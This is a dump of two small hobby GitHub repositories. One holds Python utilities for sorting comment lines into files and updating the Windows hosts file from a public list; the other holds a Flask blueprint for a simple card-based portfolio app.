https://github.com/ddayzzz/Tools
68357d18e5788bdaea7f329e06369cca00ccc036
6d33800c12f28fb0b2f7548df721ec93b6445896
c1b39c755b820f543e9c2ea4c913af14cbbc887e
refs/heads/master
2021-01-01T19:14:35.049713
2017-08-02T02:54:31
2017-08-02T02:54:31
98,550,424
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5612244606018066, "alphanum_fraction": 0.5739796161651611, "avg_line_length": 32.36170196533203, "blob_id": "ff4ff437dfff22a698730269857cb9fbdc609ad6", "content_id": "cb99431d8291497ff9d0d9a16aff6ce95b844784", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1648, "license_type": "no_license", "max_line_length": 129, "num_lines": 47, "path": "/SortData/sort.py", "repo_name": "ddayzzz/Tools", "src_encoding": "UTF-8", "text": "# coding=utf-8\nimport os\n\n\ndatafile = 'data.txt'\nproblem_with = 'problem_with.txt'\nproblem_without = 'problem_without.txt'\nsuggestion = 'suggestion.txt'\nmeaningless = 'meaning_less.txt'\n\n\ndef sort():\n data_fptr = open(datafile, 'r', encoding='utf-8')\n meaningless_fptr = open(meaningless, 'a', encoding='utf-8')\n suggestion_fptr = open(suggestion, 'a', encoding='utf-8')\n problem_with_fptr = open(problem_with, 'a', encoding='utf-8')\n problem_without_fptr = open(problem_without, 'a', encoding='utf-8')\n total_lines = data_fptr.readlines()\n lines_num = len(total_lines)\n startline = int(input('起始评论行号[1~%d] : ' % lines_num))\n for x in range(startline - 1, lines_num):\n print('------(%d,%d)------\\n%s\\nOperation:0(退出),1(无意义),2(建议),3(详细问题),4(问题),其他(忽略):' % (x + 1, lines_num, total_lines[x]))\n optcode = input()\n if optcode == '0':\n insist = input('确实要退出(y/n)?请记住当前的行号\"%d\"!' % (x + 1))\n if str.lower(insist) == 'y':\n break\n elif optcode == '1':\n meaningless_fptr.write(total_lines[x])\n elif optcode == '2':\n suggestion_fptr.write(total_lines[x])\n elif optcode == '3':\n problem_with_fptr.write(total_lines[x])\n elif optcode == '4':\n problem_without_fptr.write(total_lines[x])\n else:\n pass\n os.system('cls')\n data_fptr.close()\n meaningless_fptr.close()\n suggestion_fptr.close()\n problem_with_fptr.close()\n problem_without_fptr.close()\n\n\nif __name__ == '__main__':\n sort()\n" }, { "alpha_fraction": 0.5128576755523682, "alphanum_fraction": 0.5280695557594299, "avg_line_length": 37.859153747558594, "blob_id": "65498cf52c0f3ae502d1203dbba5dff7a99aefea", "content_id": "c65301612d48f41e8aa67de750023c8819bb3eca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2845, "license_type": "no_license", "max_line_length": 188, "num_lines": 71, "path": "/UpdateHosts/UpdateHosts.py", "repo_name": "ddayzzz/Tools", "src_encoding": "UTF-8", "text": "# coding=utf-8\n# Must run as administor administrator\n# ref 1 (how to change hosts):http://www.jianshu.com/p/2078bfc467b1\n# ref 2 (read line from string) : https://docs.python.org/3.5/library/linecache.html\n# ref 3 (dateime transfer) : http://www.wklken.me/posts/2015/03/03/python-base-datetime.html#5-huo-qu-liang-ge-datetimede-shi-jian-chai and https://docs.python.org/3/library/datetime.htmls\n# ref 4 (json) : http://liuzhijun.iteye.com/blog/1859857\n\n\n\nimport datetime\nfrom urllib import request\nimport linecache\nimport json\nimport os\n\n\nlastupdate = r'lastUpdatedRecord.json'\nurl = r'https://raw.githubusercontent.com/racaljk/hosts/master/hosts'\nsavepath = os.getcwd()\ntarget = r'C:\\Windows\\System32\\drivers\\etc\\hosts'\ntempfile = savepath + r'\\temp_hosts'\n\n\ndef downloadHosts(destpath, desturl):\n with request.urlopen(desturl) as f:\n # print(f.status)\n if f.status == 200:\n with open(destpath, 'wb') as fptr:\n fptr.write(f.read())\n line_date = linecache.getline(destpath, 3).split(' ')\n # print(line_date[3]) # 这个是日期,需要与最近一次的更新日期进行比较\n # 获取最近一次的更新\n update = line_date[3].strip('\\n')\n jf = open(lastupdate, 'r+')\n json_rd = json.load(jf)\n lastdate = json_rd['lastUpdatedDate']\n print('Update:%s\\nCurrent:%s' % (update, lastdate))\n curr = datetime.datetime.strptime(update, '%Y-%m-%d')\n last = datetime.datetime.strptime(lastdate, '%Y-%m-%d')\n if (curr - last).total_seconds() > 0:\n print('Need to update')\n choice = input('Do you want to update hosts?(y/n)')\n if choice.lower() == 'y':\n try:\n \n # 写入hots文件\n with open(target, 'w') as f:\n with open(destpath, 'r') as r:\n f.write(r.read())\n \n print('Update %s sucessfully!' % target)\n # 更新保存的日期\n jf.seek(0)\n json_rd['lastUpdatedDate'] = update\n json.dump(json_rd, jf)\n jf.close()\n except WindowsError:\n print('Might be Persmisssion denied! Please try to run as administrator')\n except BaseException:\n print('Some error(s) occured!')\n else:\n print('user canceled!')\n else:\n print('Not need replace file')\n else:\n print(\"Download fail\")\n\n\nif __name__ == '__main__':\n downloadHosts(tempfile, url)\n input('Press any key to exit')\n\n\n" }, { "alpha_fraction": 0.78125, "alphanum_fraction": 0.8020833134651184, "avg_line_length": 46.5, "blob_id": "089699b0995b7283bedf483c5af9606bb5a8d816", "content_id": "32eb04b0032c1e140ebfd2b3e60f20843f252868", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 96, "license_type": "no_license", "max_line_length": 71, "num_lines": 2, "path": "/UpdateHosts/README.txt", "repo_name": "ddayzzz/Tools", "src_encoding": "UTF-8", "text": "1.Run as administrator\n2.Change current work directory to the path which py file is located in \n" } ]
3
JacobNRoman/kfolio
https://github.com/JacobNRoman/kfolio
b6aca3081ca3f3a592f897a0736fb151051e0e1b
a7b6077ae9d484975442ff6c425d0f388306ee4a
c2dbb260cc37139ccdd6e16c678b88fe45640435
refs/heads/master
2020-04-04T17:42:27.235321
2018-11-04T22:36:44
2018-11-04T22:36:44
156,131,781
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5252248644828796, "alphanum_fraction": 0.5267891883850098, "avg_line_length": 25.360824584960938, "blob_id": "16b2c05d6b71255b7c347d94c9b2b9f20281504f", "content_id": "ffd873dc4f38f02eddf15d5db36b06193a1d27e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2557, "license_type": "no_license", "max_line_length": 77, "num_lines": 97, "path": "/cards.py", "repo_name": "JacobNRoman/kfolio", "src_encoding": "UTF-8", "text": "from flask import (\n Blueprint, flash, g, redirect, render_template, request, session, url_for\n)\n\nfrom kfolio.auth import login_required\nfrom kfolio.db import get_db\n\nbp = Blueprint('cards', __name__, url_prefix=\"/cards\")\n\[email protected]('/')\n@login_required\ndef index():\n db = get_db()\n cards = db.execute(\n 'SELECT id, title, body, tag FROM card'\n ).fetchall()\n return render_template('cards/index.html', cards=cards)\n\[email protected]('/create', methods=('GET', 'POST'))\n@login_required\ndef create():\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n tag = request.form['tag']\n error = None\n\n if not title:\n error = 'Title is empty'\n if not body:\n error = 'Body is empty'\n if not tag:\n error = 'Please tag this card'\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'INSERT INTO card (title, body, tag)'\n ' VALUES (?, ?, ?)',\n (title, body, tag)\n )\n db.commit()\n return redirect(url_for('cards.index'))\n\n return render_template('cards/create.html')\n\[email protected]('/<int:id>/update', methods=('GET', 'POST'))\n@login_required\ndef update(id):\n card = get_card(id)\n\n if request.method == 'POST':\n title = request.form['title']\n body = request.form['body']\n tag = request.form['tag']\n error = None\n\n if not title:\n error = 'Title is required.'\n if not body:\n error = 'Body is empty'\n if not tag:\n error = \"Please add a tag to this card\"\n if error is not None:\n flash(error)\n else:\n db = get_db()\n db.execute(\n 'UPDATE card SET title = ?, body = ?, tag = ?'\n ' WHERE id = ?',\n (title, body, tag, id)\n )\n db.commit()\n return redirect(url_for('cards.index'))\n\n return render_template('cards/update.html', card=card)\n\n\[email protected]('/<int:id>/delete', methods=('POST',))\n@login_required\ndef delete(id):\n get_card(id)\n db = get_db()\n db.execute('DELETE FROM card WHERE id = ?', (id,))\n db.commit()\n return redirect(url_for('cards.index'))\n\ndef get_card(id):\n card = get_db().execute(\n 'SELECT id, title, body, tag FROM card'\n ).fetchone()\n\n if card is None:\n abort(404, \"Post id {0} doesn't exist.\".format(id))\n\n return card\n" }, { "alpha_fraction": 0.7017543911933899, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 17.66666603088379, "blob_id": "4c172e66b879f907be94272c47603e2d904b911d", "content_id": "b4f88348545f28917d234a7b658f02083058dd8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 57, "license_type": "no_license", "max_line_length": 38, "num_lines": 3, "path": "/README.md", "repo_name": "JacobNRoman/kfolio", "src_encoding": "UTF-8", "text": "<h1>Kfolio</h1>\n\nA flexible, lightweight portfolio app. \n" } ]
2